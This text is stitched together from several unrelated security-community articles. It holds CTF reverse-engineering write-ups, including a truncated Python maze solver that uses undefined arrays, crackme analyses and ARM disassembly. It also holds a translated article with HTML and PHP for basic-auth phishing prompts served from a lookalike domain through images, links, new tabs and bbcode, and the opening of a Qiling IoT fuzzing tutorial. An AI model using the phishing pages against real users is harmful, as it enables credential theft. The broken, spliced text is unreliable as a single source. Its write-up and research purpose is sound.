d_410 = [0x4c,0x11,0x29,0x16,0x5d,0x51,0x4d,0x3e,0x6f,0x3e,0x59,0x65,0x57,0x2c,0x5d,0x2c,0x46,0x56,0x3b,0x41,0x40,0x0,0x36,0x25,0x50,0x5a,0x4c,0x33,0x79,0x28,0x46,0x5e,0x6f,0x20,0xd,0x3a,0x8,0x13,0x3f,0x3e,0x6d,0x50,0x2,0x48,0x15,0x46,0x19,0x61,0x74,0x68,0x35,0x42,0x6f,0x56,0xd,0x18,0x14,0x39,0x30,0x5,0x8,0x6e,0x1a,0x67,0x40,0x68,0x6,0x5c,0x74,0x4f,0x4,0x6,0x51,0x6d,0x4b,0xb,0x6f,0x4b,0x50,0x60,0x2,0x17,0x18,0x48,0x54,0x49,0x4a,0x17,0x73,0x7,0x8,0x3c,0x26,0x45,0x7f,0x7e,0x26,0x30,0x3d,0x6,0xb,0x4d,0x43,0x1e,0x5,0x5d,0x5c,0x38,0x4c,0x5,0x2d,0x32,0x5a,0x2b,0xc,0x58,0x57,0x23,0x16,0x2b,0x55,0xb,0x7b,0x61,0x3d,0x73,0x1d,0x2c,0x9,0x42,0x5a,0x3f,0x34,0x54,0x25,0xf,0x6f,0x68,0x5c,0x56,0x16,0x3a,0x55,0x5e,0x62,0x6c,0x3b,0x7c,0x60,0x2a,0x18,0x5a,0x22,0xe,0x32,0x7a,0x34,0x41,0x1b,0x78,0x51,0x64,0x4,0x10,0x57,0x2e,0x52,0x5f,0x79,0x56,0x74,0x6e,0x34,0x33,0x73,0x6c,0x4,0x22,0x4a,0x3b,0x57,0x28,0x79,0x2f,0x42,0x58,0x55,0x12,0x73,0x77,0x22,0x6b,0x67,0x5f,0x63,0x7f,0x5d,0x21,0x71,0x19,0xa,0x6e,0x4b,0x7,0xe,0x38,0x2d,0x65,0x27,0x14,0x64,0x1e,0x24,0x63,0x60,0x2f,0x1d,0x31,0xb,0x2e,0x62,0x5d,0x59,0xb,0x31,0x7a,0x20,0x17,0x2c,0x76,0x2b,0x42,0x9,0x79,0xa,0x29,0xc,0x10,0x2b,0x50,0x32,0xb,0x2f,0x2b,0x30,0x24,0x76,0x64,0x1b,0x61,0x7c,0x58,0x69,0x3b,0x69,0x63,0x18,0x7f,0x63,0x5d,0x2d,0x75,0x27,0x64,0x60,0x40,0x58,0x5c,0x16,0x5,0x16,0x35,0xf,0x4f,0x53,0x6c,0x61,0x32,0x62,0x55,0x25,0x2f,0x51,0x17,0x70,0x58,0x79,0x78,0x5]
d_550 = [0x4a,0x77,0x58,0x61,0x19,0x1f,0x69,0x23,0x2b,0x5c,0x27,0x22,0x6,0x53,0x5b,0x30,0x70,0x2a,0x0,0xa,0x43,0x13,0x3b,0x74,0x17,0xd,0x15,0x65,0x69,0x31,0x42,0x4e,0x29,0x55,0x2d,0x72,0x42,0x1b,0x39,0x38,0x1,0x17,0x61,0x2c,0x1e,0x62,0x66,0x52,0x70,0x45,0x34,0xc,0x36,0x42,0x5f,0x32,0x1e,0x3,0x63,0x39,0x30,0x0,0x6a,0x51,0x13,0xf,0x77,0x41,0x6d,0x1b,0x3c,0x8,0x9,0x11,0x34,0x37,0x63,0x1f,0x53,0x27,0x72,0x4a,0x73,0x17,0x3f,0x29,0x0,0x21,0x5f,0x2b,0x4c,0x16,0xe,0xe,0x1a,0x57,0x1e,0x39,0x2f,0x16,0x5d,0x52,0xe,0x39,0x6c,0x6c,0x7,0x2a,0x21,0x16,0xe,0x43,0x30,0x3e,0x70,0x66,0x2,0x40,0x3d,0x11,0x77,0x18,0xc,0x8,0x6b,0x64,0x62,0x1,0x53,0x4c,0x35,0x4,0x73,0x3e,0x3f,0x1d,0x6f,0x4a,0xd,0x18,0x4b,0x1,0x13,0x14,0x33,0x0,0x23,0x6f,0x3b,0x40,0x6b,0x6f,0x5a,0x5b,0x34,0x5a,0x3b,0x56,0x23,0x55,0x6,0x73,0x77,0x36,0x5a,0x6c,0x25,0x6b,0x3d,0x6c,0x50,0x59,0x4d,0x64,0x51,0x6e,0x69,0x5,0x4a,0x4a,0x60,0x1f,0x2a,0xd,0x24,0x51,0x2b,0x3,0x1c,0x2c,0xe,0x72,0x1b,0x1e,0x25,0x23,0x48,0x4,0x6a,0x6a,0x58,0x64,0x16,0x65,0x11,0x75,0xc,0x55,0x6a,0x3a,0x8,0x3d,0x10,0x69,0x3d,0x2e,0x44,0x4c,0x50,0x6b,0xd,0x52,0x74,0x4,0x65,0x5f,0x39,0x35,0x33,0x66,0x68,0x5,0x2d,0x5a,0x13,0x5a,0x6e,0x36,0x2a,0x1,0x24,0x64,0x35,0x40,0x77,0x17,0x77,0x71,0x48,0x65,0x5b,0x4c,0x50,0x15,0x6c,0x62,0x49,0xe,0x76,0xc,0x51,0x38,0x6a,0x78,0x13,0x5,0x9,0x51,0x1a,0x42,0x9,0xc,0x41,0x6,0x59,0x17,0x42,0x3c,0x4c,0x13,0x5a,0xa,0x63,0x73,0x6c,0x51,0x4a,0x6f,0x13]
direc = [-17,17,-1,1]#[up,down,left,right]
tab = 'BCDFGHJKMPQRTVWXY2346789'
def de_vm(n):
global tab
if n < 0:
if n % 17 == 0:
return tab[0xe]+tab[23-abs(n/17)]
else:
return tab[0xd]+tab[23-abs(n)]
if n > 0:
if n % 17 == 0:
return tab[0xc]+tab[23-n/17]
else:
return tab[0xf]+tab[23-abs(n)]
def simp(path):
tmp = 0
n_p = []
for v in path:
if v == tmp :
n_p[-1] += v
else:
tmp = v
n_p += [v]
return n_p
def search_path(pos,path,last_move):
global t
global over
if pos == 271:
flag = ''
for v in simp(path):
flag += de_vm(v)
print flag
over = 1
if over == 1:
return
for v in direc:
if pos+v in t and last_move+v != 0:
search_path(pos+v,path+[v],v)
t = []
for i in xrange(289):
tmp = d_6a0[i] ^ d_2c0[i]
tmp -= d_410[i]
tmp &= 0xff
if tmp == d_550[i]:
t += [i]
s = ''
for j in xrange(289):
if j%17 == 0:
s += 'n'
if j in t:
s += ' '
else:
s += '#'
print s
over = 0
search_path(17,[],0)
**by ywway**
这题目坑比较多，，难度比较大，，刚开始的md5就干扰了我大半天，
怎么推理都不对，，后来细心看了一下，出题人将几个值给改掉了。
从 cin 处开始， 是读取字符串的。 然后做一个 变种 md5加密
刚开始以为达到这里就结束了， 就要爆破了。 后来发现还有一块代码用来判断这里的值。 sub_404820
有四张表， 来形成一个高级的迷宫
(map4 ^ map1) - map2 == map
这一些值会形成一个迷宫
玩一下迷宫就可以把路径找出来， ， 这个还是有意思的
这里输入的有一位是控制上下左右，有一位是控制距离。并且一个是那个字符串前开始找，还有一位是从后往前找的
最后得到flag 为 X6T7X7W7X2T4V2T7V7T7V7T4X4T7XT
**Reverse-2 CrackMe-1**
* * *
**by poyoten**
先试运行下，随便输入，点check，程序似乎阻塞了一段时间。拖进IDA，查看字串，发现有"This is flag"等字样。如图
查看引用此字串的代码位置，其伪代码如图：
sub_401210调用的返回值如果为2345则弹出错误提示对话框，为751则提示正确，如果为5173则调用5173次sleep()，这也是之前试运行出现类似阻塞情况的原因。很明显关键算法在sub_401210中。
继续看sub_401210调用。代码比较长，我就不截图了。
大致过程为先加载一个常量数据到栈中，记为s1，取文本框的值，记为s2。
检查s1的长度不大于20，且s2的长度为s1长度的两倍。s1其实就是"BinGzLFormiChunQiu"，长度为18。所以输入长度就为36。
接着检查s1的字符在[a-z][A-Z]之间，s2的字符在[0-9][A-Z]之间。
再接着初始化两个大小为40的栈区，分别对s1和s2进行变换计算，结果存放于这两个刚初始完的栈区。
最后以4字节为单位进行两个结果栈区比较。如果40字节全部相同则返回751。
下面简单说个两个字串的变换计算。静态分析来看，两个字串计算是相对独立进行的。s1计算后生成相同长度的结果字串；s2两位一计算，最后生成与s1同长度的字串，s2的每两位通过调用sub_401000进行hex解码成单字节。其中的计算过程从代码看比较繁杂。
看到这样的代码，理清这个算法我是拒绝的。仔细分析下，不理算法应该是可以解的。有这么一个推想：s1的计算因为没有s2的参与，所以其结果应该是一个定值，所以先不用理会，后面动态查看就是；s2的计算是按字节进行，各字节独立，输入值的范围是00-FF,为了避免多解，其结果范围也必然是00-FF，而且是以某种规律一一对应的。如果把s2的256种输入对应的结果全部算出来，生成一张表，最后用s1的计算结果查表就可以得出s2。
为了验证推想的正确性，上OD验证下。 输入为"123456789012345678901234567890123456"时的结果为下：
输入为"111111111122222222223333333333444444"时的结果为下：
图中蓝标记的分别为s1和s2的计算结果。与想象得差不多。下面就是计算出00-FF对应的所有结果了，如图：
接下来就是查表了，得出结果为838EFBFFE7D9CDDFCFC4C1C5C7CFC9CBB3C9。
这是一种笨方法，但是有效。比较省时间的应该是改写程序，循环枚举了。
**by wangxiyu**
很容易找到关键判断逻辑
一排AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA输入进去之后发现是16个相同的结果，怀疑是两个为一组进行计算，并且互相独立。AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
试了一下发现确实是互相独立。然后爆破就好
对应表：
000102030405060708090A0B0C0D0E0F1011
0x2f,0x86,0xfd,0xbc,0x5b,0x92,0x69,0x8,0x7,0x3e,0x35,0x14,0x53,0x4a,0x1,0x60,0x9f,0x36,
12131415161718191A1B1C1D1E1F20212223
0x6d,0xec,0xb,0x82,0x19,0xf8,0xb7,0x2e,0x25,0x84,0x43,0xba,0xb1,0xd0,0xcf,0xa6,0x1d,0xdc,
2425262728292A2B2C2D2E2F303132333435
0x7b,0xb2,0x89,0x28,0xa7,0xde,0x55,0x34,0xf3,0x6a,0xa1,0x0,0x3f,0xd6,0xd,0xc,0xab,0x22,
363738393A3B3C3D3E3F4041424344454647
0xb9,0x18,0x57,0x4e,0x45,0xa4,0x63,0xda,0x51,0x70,0x6f,0xc6,0x3d,0xfc,0x9b,0xd2,0xa9,0x48,
48494A4B4C4D4E4F50515253545556575859
0x47,0x7e,0x75,0x54,0x93,0x8a,0x41,0xa0,0xdf,0x76,0xad,0x2c,0x4b,0xc2,0x59,0x38,0xf7,0x6e,
5A5B5C5D5E5F606162636465666768696A6B
0x65,0xc4,0x83,0xfa,0xf1,0x10,0xf,0xe6,0x5d,0x1c,0xbb,0xf2,0xc9,0x68,0xe7,0x1e,0x95,0x74,
6C6D6E6F707172737475767778797A7B7C7D
0x33,0xaa,0xe1,0x40,0x7f,0x16,0x4d,0x4c,0xeb,0x62,0xf9,0x58,0x97,0x8e,0x85,0xe4,0xa3,0x1a,
7E7F808182838485868788898A8B8C8D8E8F0x91,0xb0,0xaf,0x6,0x7d,0x3c,0xdb,0x12,0xe9,0x88,0x87,0xbe,0xb5,0x94,0xd3,0xca,0x81,0xe0,
909192939495969798999A9B9C9D9E9FA0A1
0x1f,0xb6,0xed,0x6c,0x8b,0x2,0x99,0x78,0x37,0xae,0xa5,0x4,0xc3,0x3a,0x31,0x50,0x4f,0x26,
A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3
0x9d,0x5c,0xfb,0x32,0x9,0xa8,0x27,0x5e,0xd5,0xb4,0x73,0xea,0x21,0x80,0xbf,0x56,0x8d,0x8c,
B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5
0x2b,0xa2,0x39,0x98,0xd7,0xce,0xc5,0x24,0xe3,0x5a,0xd1,0xf0,0xef,0x46,0xbd,0x7c,0x1b,0x52,
C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7
0x29,0xc8,0xc7,0xfe,0xf5,0xd4,0x13,0xa,0xc1,0x20,0x5f,0xf6,0x2d,0xac,0xcb,0x42,0xd9,0xb8,
D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9
0x77,0xee,0xe5,0x44,0x3,0x7a,0x71,0x90,0x8f,0x66,0xdd,0x9c,0x3b,0x72,0x49,0xe8,0x67,0x9e,
EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFB
0x15,0xf4,0xb3,0x2a,0x61,0xc0,0xff,0x96,0xcd,0xcc,0x6b,0xe2,0x79,0xd8,0x17,0xe,0x5,0x64,
FCFDFEFF
0x23,0x9a,0x11,0x30
需要的结果
0x3c,0x81,0x64,0x30,0xe8,0xee,0xa,0x90,0x20,0x1b,0x46,0x52,0xc8,0x20,0xfe,0xd4,0x8c,0xfe,
剩下的就是替换得到flag了：
838EFBFFE7D9CDDFCFC4C1C5C7CFC9CBB3C9
**Reverse-3 CrackMe-2**
* * *
**by 渡师傅**
这东西要搞死人啊。。。。。IDA里面看到了
搜索ios的混淆，搜到个<https://github.com/pjebs/Obfuscator-iOS> ,就是这个cm用的
根据git上的文件，字符串搜索可以定位到sub_8657()
int sub_8657()
{
int v0; // r0@1
int v1; // ST10_4@1
int v2; // r0@1
int v3; // ST08_4@1
int v4; // r0@1
int v6; // [sp+38h] [bp-10h]@1
int v7; // [sp+3Ch] [bp-Ch]@1
_objc_msgSend(&OBJC_CLASS___ViewController, "class");
_objc_msgSend(&OBJC_CLASS___NSString, "class");
v7 = _objc_msgSend(&OBJC_CLASS___Obfuscator, "newWithSalt:");
v0 = _objc_msgSend(textfield, "text");
v1 = objc_retainAutoreleasedReturnValue(v0);
v2 = _objc_msgSend(v7, "reveal:");
v3 = objc_retainAutoreleasedReturnValue(v2);
v4 = _objc_msgSend(&OBJC_CLASS___ViewController, "AAA:BBB:");
v6 = objc_retainAutoreleasedReturnValue(v4);
objc_release(v3);
objc_release(v1);
sub_8688(v6);
objc_storeStrong(&v6, 0);
return objc_storeStrong(&v7, 0);
}
这部分可以理解为(大概的意思)
Obfuscator *o = [Obfuscator newWithSalt:[ViewController class],[NSString class], nil];
NSString *k = [o reveal:_key1];#这里要看汇编
[ViewController AAA:textfield BBB:k]
跑到AAA里面去
// ViewController + (id)AAA:(id) BBB:(id)
id __cdecl +[ViewController AAA:BBB:](struct ViewController *self, SEL a2, id a3, id a4)
{
id v4; // ST54_4@1
int v5; // r0@1
int v6; // r0@1
int v7; // ST40_4@1
int v8; // r0@1
int v9; // r0@2
int v10; // r0@2
int v11; // r0@2
int v12; // r1@2
int v13; // ST20_4@3
id result; // r0@3
int v15; // r3@3
int v16; // [sp+8h] [bp-488h]@1
int v17; // [sp+5Ch] [bp-434h]@2
int v18; // [sp+60h] [bp-430h]@1
int v19; // [sp+64h] [bp-42Ch]@1
int v20; // [sp+68h] [bp-428h]@1
int v21; // [sp+6Ch] [bp-424h]@1
int v22; // [sp+70h] [bp-420h]@1
int v23; // [sp+74h] [bp-41Ch]@1
SEL v24; // [sp+78h] [bp-418h]@1
struct ViewController *v25; // [sp+7Ch] [bp-414h]@1
char v26; // [sp+80h] [bp-410h]@1
int v27; // [sp+480h] [bp-10h]@1
v27 = __stack_chk_guard;
v25 = self;
v24 = a2;
v23 = 0;
v4 = a4;
objc_storeStrong(&v23, a3);
v22 = 0;
objc_storeStrong(&v22, v4);
v5 = _objc_msgSend(v23, "dataUsingEncoding:allowLossyConversion:");
v21 = objc_retainAutoreleasedReturnValue(v5);
memset(&v26, 0, 1u);
v20 = 0;
v6 = objc_retainAutorelease(v22);
v7 = _objc_msgSend(v6, "UTF8String");
v8 = objc_retainAutorelease(v21);
v16 = _objc_msgSend(v8, "bytes");
_objc_msgSend(v21, "length");
v19 = CCCrypt(0, 1, 3, v7);
v18 = 0;
if ( !v19 )
{
v9 = _objc_msgSend(&OBJC_CLASS___NSData, "dataWithBytes:length:");
v17 = objc_retainAutoreleasedReturnValue(v9);
v10 = _objc_msgSend(&OBJC_CLASS___GTMBase64, "stringByEncodingData:");
v11 = objc_retainAutoreleasedReturnValue(v10);
v12 = v18;
v18 = v11;
objc_release(v12);
objc_storeStrong(&v17, 0);
} v
13 = objc_retain(v18);
objc_storeStrong(&v18, 0);
objc_storeStrong(&v21, 0);
objc_storeStrong(&v22, 0);
objc_storeStrong(&v23, 0);
result = (id)objc_autoreleaseReturnValue(v13);
if ( __stack_chk_guard != v27 )
__stack_chk_fail(result, __stack_chk_guard, v27, v15, 8, 0, v16);
return result;
}
这部分代码大致意思是用我们传的第二个参数作为key,加密我们的输入， 再base64,根据CCCrypt前3个参数得知加密方式为
DES， ECB,pkcs7padding,key可以用git上的来求， 求出来是UFT-8
这部分结束了， 按照逻辑， 到了_sub_8688， 这个混淆的厉害， 完全不造执行路径， 上下翻了翻， 看到了
得知最后比较的串 wMnLwixufgl=， 搜索该串， 发现这个函数有32个strcmp,这就懵逼了。 。 。
看这里的汇编， 可以推出var_D4上应该是加密的结果， 搜索[R7,#var_D4]， 发现有个不同的地方
__text:0000C81C MOVS R0, #0
__text:0000C81E MOV R1, SP
__text:0000C820 SUBS R1, #4
__text:0000C822 MOV SP, R1
__text:0000C824 MOV R2, SP
__text:0000C826 SUBS R2, #4
__text:0000C828 MOV SP, R2
__text:0000C82A MOV R3, SP
__text:0000C82C SUBS R3, #4
__text:0000C82E MOV SP, R3
__text:0000C830 MOV R9, SP
__text:0000C832 SUB.W R9, R9, #4
__text:0000C836 MOV SP, R9
__text:0000C838 MOV R12, SP
__text:0000C83A SUB.W R12, R12, #4
__text:0000C83E MOV SP, R12
__text:0000C840 STR R0, [R1]
__text:0000C842 MOV R0, R1
__text:0000C844 LDR.W LR, [R7,#var_20]
__text:0000C848 STR.W R1, [R7,#var_C4]
__text:0000C84C MOV R1, LR
__text:0000C84E STR.W R12, [R7,#var_C8]
__text:0000C852 STR.W R9, [R7,#var_CC]
__text:0000C856 STR.W R2, [R7,#var_D0]
__text:0000C85A STR.W R3, [R7,#var_D4]
__text:0000C85E BLX _objc_storeStrong
__text:0000C862 LDR.W R0, [R7,#var_C4]
__text:0000C866 LDR R1, [R0]
__text:0000C868 MOV R0, R1
. . . _
_
text:0000C886 STR.W R1, [R7,#var_D8]
__text:0000C88A MOV R1, R2
__text:0000C88C LDR.W R2, [R7,#var_D8]
__text:0000C890 BLX R2
__text:0000C892 LDR.W R1, [R7,#var_D0]
__text:0000C896 STR R0, [R1]
__text:0000C898 LDR R0, [R1] ; char *
__text:0000C89A BLX _strlen
__text:0000C89E ADDS R0, #1 ; size_t
__text:0000C8A0 BLX _malloc
. . . _
_
text:0000C924 LDR.W R10, [R7,#var_CC]
__text:0000C928 STR.W R0, [R10]
__text:0000C92C LDR.W R11, [R7,#var_D4]
__text:0000C930 STR.W R0, [R11]
widows: 2; word-spacing: 0px; -webki以_strlen为分界， 前面的R0应该是传过来的字符串的地址，
存在了var_D0上
后面的R0是_malloc(_strlen+1)出的地址,存到了var_D4和var_CC上， 于是搜索了[R7,#var_CC]， 发现了
__text:00070460 LDR.W LR, [R7,#var_D0]
__text:00070464 LDR.W R4, [LR]
__text:00070468 LDRB R4, [R4]
__text:0007046A LDR.W R5, [R7,#var_CC]
__text:0007046E LDR R6, [R5]
__text:00070470 STRB R4, [R6]
.
.
.
__text:0003DEC2 LDR.W R8, [R7,#var_D0]
__text:0003DEC6 LDR.W R10, [R8]
__text:0003DECA ADD.W R10, R10, #1
__text:0003DECE STR.W R10, [R8]
__text:0003DED2 LDR.W R10, [R7,#var_CC]
__text:0003DED6 LDR.W R11, [R10]
__text:0003DEDA ADD.W R11, R11, #1
__text:0003DEDE STR.W R11, [R10]
.
.
.
__text:000C7E64 MOVS R1, #0x1A
__text:000C7E66 LDR.W R0, [R7,#var_D0]
__text:000C7E6A LDR R2, [R0]
__text:000C7E6C LDRSB.W R2, [R2]
__text:000C7E70 SUBS R2, #0x41(0x61)
__text:000C7E72 ADDS R0, R2, #5
__text:000C7E74 BLX ___modsi3
__text:000C7E78 ADDS R0, #0x41(0x61)
__text:000C7E7A LDR.W R1, [R7,#var_CC]
__text:000C7E7E LDR R2, [R1]
__text:000C7E80 STRB R0, [R2]
根据上面的汇编， 理理逻辑
第一， [R7,#var_CC] 和 [R7,#var_D4]上存的是同一个内存地址
第二， [R7,#var_D0] 上存放的字符串是传过来的参数， 会存在 [R7,#var_CC] 上的存的地址上， 可以理解为*(*(R7-CC)) =
*(*(R7-D0))
第三， [R7,#var_D0] 上存放的字符串会进行凯撒加密， 并存到[R7,#var_CC]
第四， [R7,#var_D4] 上的字符串会与wMnLwixufgl=比较
然而， 这个函数里有32处有凯撒加密， 所以被自己误导了， 以为每个字符的加密是不一样的， 然后就在那求执行路径， 浪费了大把时间。 。 。
凯撒解密出rHiGrdspabg=
<http://tool.chacuo.net/cryptdes>
在这个网址上求解,选好模式和填充方式， 填上key（ 见上） ,解密即可 | 社区文章 |
# 【技术分享】钓鱼新姿势：细谈如何构建自己的基础认证钓鱼页面
|
##### 译文声明
本文是翻译文章，文章来源：securitycafe.ro
原文地址：<https://securitycafe.ro/2017/09/06/phishy-basic-authentication-prompts/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在我们之前的一篇文章中，我们介绍了一款非常受黑客喜欢的工具-[Responder](https://github.com/SpiderLabs/Responder)，该工具通过在浏览器中弹出“基础身份认证”提示框，并诱骗用户输入自己的登录凭证信息，进而获取用户的登录凭证。Responder使用的诱骗方法是相当不错的，因为它通过某些方法可以捕获用户机器上的DNS请求，并能够对这些请求作出响应，但是我认为基础身份认证方法在网络钓鱼上会有更大的潜力。
在要求用户输入登录凭证的那些基础认证请求中，可能用户从来都搞不清楚是哪些网站在要求他们输入登录凭证信息，以及输入登录凭证之后会发生些什么。这种混乱通常会使用户陷入简单的网络钓鱼攻击中，从而使得网络攻击者能够轻松的收集用户的登录凭证。
通常情况下，用户应该能够基于以下两个安全标准来确定浏览器中弹出的基础身份认证请求是否是真实的：
1\.
留意与基础身份认证请求相关的IP地址或者域名实体是否是可信的。但由于网络攻击者可以注册类似于可信域的域名，因此该安全标准可能起不到很大的作用。例如，当网络攻击者尝试获取用户登录targetdomain.com网站的登录凭证时，网络攻击者可以注册以下与targetdomain.com类似的域名：
targetdomain.co/.net
target-domain.com
targetdomain-oauth.com
targetdomain -cdn .com
targetdomain-images.com
login- targetdomain.com
2\.
留意与基础身份认证请求相关的“Realm”参数值。但这是一个可以由攻击者伪造的任意字符串。通过伪造该字符串可以用来欺骗用户，使其认为基础认证提示是真实的：
需要网络代理身份认证
您由于不活动而退出登录，请您再次登录
**如何构建自己的基础认证钓鱼页面**
****
下面让我们一起看看几个例子，这些例子中的基础身份认证提示可能真的会让用户感到非常困惑。假设 **targetdomain.com**
是一个真实合法的网站，攻击者可以简单地注册target-domain.com这个域名，该域名看起来跟targetdomain.com这个域名非常的相似。
**1\. 通过使用HTML image标签获取基础身份认证提示**
如果网络攻击者可以向一个网站添加HTML
IMG标签，并且能够从其控制的网站域名中引用添加到其他网站中的图像元素，那么攻击者可以在加载图像元素之前强制执行基础认证提示操作，下面的代码是一个简短的演示：targetdomain.com/image.html是targetdomain.com网站中的一个网页，该网页包含了第三方网站target-domain.com上的一张图片：
<html>
<body>
Just a funny cat image
<img src="http://target-domain.com/basicauth.php" alt="Could not load image - Invalid credentils."/>
</body>
</html>
**target-domain.com/basicauth.php**
是网络攻击者控制的网站中的一个php文件，用户一旦访问了该php文件，那么网站就会要求用户输入基础身份认证的凭证信息。
<?php $valid_passwords = array ("security" => "cafe");
$valid_users = array_keys($valid_passwords);
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : "";
$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);
if (!$validated) {
header('WWW-Authenticate: Basic realm="Corporate domain"');
//header('HTTP/1.0 401 Unauthorized');
die ("Not authorized");
}
// If the user enters valid credentials, just show him a cat picture
header("Location: https://kpmgsecurity.files.wordpress.com/2017/06/cat.jpg")
?>
通过上述的例子我们可以发现，网站上的基础认证提示是由托管在第三方网站上的图像生成的。
一旦用户在基础认证提示中输入了任何的登录凭据，这些凭证数据都将会被发送到第三方网站。这种攻击手法可以在Firefox和IE这两个浏览器上奏效，如下图所示，但Chrome浏览器是不会显示基础身份认证提示的。
**2\. 在打开URL时获取基础身份认证提示**
如果攻击者可以将HTML
Anchors添加到一个合法的网站上，并添加一个可以访问到第三方网站的链接，那么攻击者可以在第三方网站添加基础身份认证提供功能，一旦用户访问了包含第三方链接的网页，那么用户将在导航发生之前收到基础身份认证提示信息，具体例子如下所示。
**targetdomain.com/link.html** 是 **targetdomain.com**
网站中的一个网页，该网页中包含了一个指向第三方网站的链接：
<html>
<body>
A cool website you should visit: <a href="http://target-domain.com/basicauth.php">Click me!</a>
</body>
</html>
因此，一旦用户访问了上述中的 **targetdomain.com/link.html**
页面，基础身份认证提示信息将在加载新的URL之前显示给用户。这种攻击手法可以在Firefox和IE两个浏览器中奏效，而Chrome浏览器则会在显示基础认证提示之前关闭主机页面并更新浏览器中的地址栏。
**3\. 在新选项卡中打开URL时获取基础身份认证提示**
如果攻击者可以将一个链接添加到合法网站的某网页中，并且该链接是用来在浏览器中打开一个新的tab页面。当有用户访问该网页时，那么基础身份认证提示将在浏览器打开新的tab页面时显示给用户。在实现上，攻击者可以通过使用window.opener使得基础身份认证提示出现在新的tab页面中，具体实例代码如下所示。
**targetdomain.com/newtab.html** 是 **targetdomain.com**
网站上的一个网页，该网页包含了一个将在新标签页中打开的链接：
<html>
<body>
Another cool website you should visit: <a href="http://target-domain.com/landingpage.html" target="_blank">Click me!</a>
</body>
</html>
**target-domain.com/landingpage.html**
是第三方网站上的一个页面，该页面的目的是将用户重定向到需要基础身份认证的网址页面中去：
<html>
<head>
<title>Nothing here</title>
</head>
<body>
<script>
window.opener.location="http://target-domain.com/basicauth.php";
</script>
</body>
</html>
因此，一旦用户访问了上述 **targetdomain.com/newtab.html**
页面，基础身份认证提示将在浏览器打开新的tab页面时显示给用户。这种攻击手法可以在Firefox和IE两款浏览器中奏效，而Chrome浏览器的处理方法与前两款浏览器依然不同，它会首先关闭主机页面并更新地址栏，最后在显示基础认证提示。
**4\. 通过Word文档显示基础身份认证提示**
更进一步地，如果Word文档中包含引用了第三方网站上的图像元素，那么基础身份认证提示可能会出现在Word文档中。这样的Word文档可以通过电子邮件或公网向受害者提供，这对攻击者来说非常容易。此外，使用Phishery可以自动创建这样的WORD文档，如下图所示。
**总结**
****
以上只是一些示例，现实网络中的基础认证提示总是以一种令人困惑的方式显示给最终用户，博客，论坛，协作平台，电子学习平台都允许用户添加自定义内容，例如图像和链接等网页元素，任何允许使用bbcode文本编辑器的网站都可能容易受到这种网络钓鱼攻击：
[img]http://target-domain.com/basicauth.php[/img]
<img>http://target-domain.com/basicauth.php</img>
[a]http://target-domain.com/basicauth.php[/a]
[url]http://target-domain.com/basicauth.php[/url]
... and many more examples
可以通过以下方法来防止这种网络钓鱼攻击：
（1）不允许用户添加图像和链接到你的网站；
（2）使用本地URL来“包装”所有的外部资源，这种方法可以过滤不需要的基础身份认证提示。
虽然第一个建议可能会违背许多网站的意愿，但第二个建议可能难以在定制化的平台上实施和维护。
如果想进一步对此问题进行深入的研究，我们可以尝试将研究方向转移到移动设备上的浏览器中。为了便于可用性，移动设备上的浏览器往往在安全性方面会做出让步，例如将地址栏中的URL替换为页面标题，不显示SSL证书详细信息，不检查当前页面的源代码等。
为什么用户可能会将targetdomain.com与target-domain.com或诸如此类的网站域名弄混淆呢？这也许是另一篇博客文章应该值得进行讨论的话题，由于用户对google.com和google.es，facebook.com和*
.fbcdn.net，twitter.com和t.co都有相同的信任，因此许多用户是很容易被网络攻击者欺骗的。 | 社区文章 |
**作者：崎山松形@RainSec**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 前言
最近在搞Iot的时候接触到Qiling框架，用了一段时间后感觉确实模拟功能挺强大的，还支持Fuzz，于是开始学习对Iot
webserver这样的程序进行Fuzz。
官方给出了类似的例子如Tenda AC15 的httpd的fuzz脚本，但是也就光秃秃一个脚本还是需要自己来一遍才能学到一些东西；因为面向的是Iot
webserver的Fuzz因此需要对嵌入式设备中常用web开源框架有一些了解，这里是对于Boa框架的fuzz案例。
**环境准备** ：
* qiling-dev branch：这里并没有选择直接pip安装，方便修改源码
* AFL++：在python中可以`import unicornafl`就行
git clone https://github.com/AFLplusplus/AFLplusplus.git
make -C AFLplusplus
cd AFLplusplus/unicorn_mode ; ./build_unicorn_support.sh
* 一个坑是最好获取版本高于3.15的`cmake`要不然编译的时候有些cmake参数识别有问题，我遇到的就是:`cmake -S unicorn/ -B unicorn/build -D BUILD_SHARED_LIBS=no`问题
* 需要对Qiling，AFL有些了解
**Fuzz思路** ：
Iot设备就连环境模拟都比较棘手就就更别说Fuzz了，但是Qiling提供的`进程快照(snapshot)`功能给了我们一个不错的思路，这也是Qiling官方Fuzz案例的一个思路：
**即对某函数部分Fuzz(Partial Fuzz)**
## Tenda-AC15
Qiling使用4个脚本来实现对该款路由器上httpd程序的Fuzz
首先是`saver_tendaac15_httpd.py`用于保存fuzz的起始状态快照，主要代码如下：
def save_context(ql, *args, **kw):
ql.save(cpu_context=False, snapshot="snapshot.bin")
def check_pc(ql):
print("=" * 50)
print("Hit fuzz point, stop at PC = 0x%x" % ql.arch.regs.arch_pc)
print("=" * 50)
ql.emu_stop()
def my_sandbox(path, rootfs):
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
ql.add_fs_mapper("/dev/urandom","/dev/urandom")
ql.hook_address(save_context, 0x10930) #<=======
ql.hook_address(patcher, ql.loader.elf_entry)
ql.hook_address(check_pc, 0x7a0cc) #<=======
ql.run()
ql.hook_address(save_context,
0x10930)：表示当程序跑到0x10930地址时调用save_context函数将保存此刻模拟状态
但需要输入来触发程序按照预想的跑到0x10930位置，带上面脚本跑起来后使用`addressNat_overflow.sh`触发
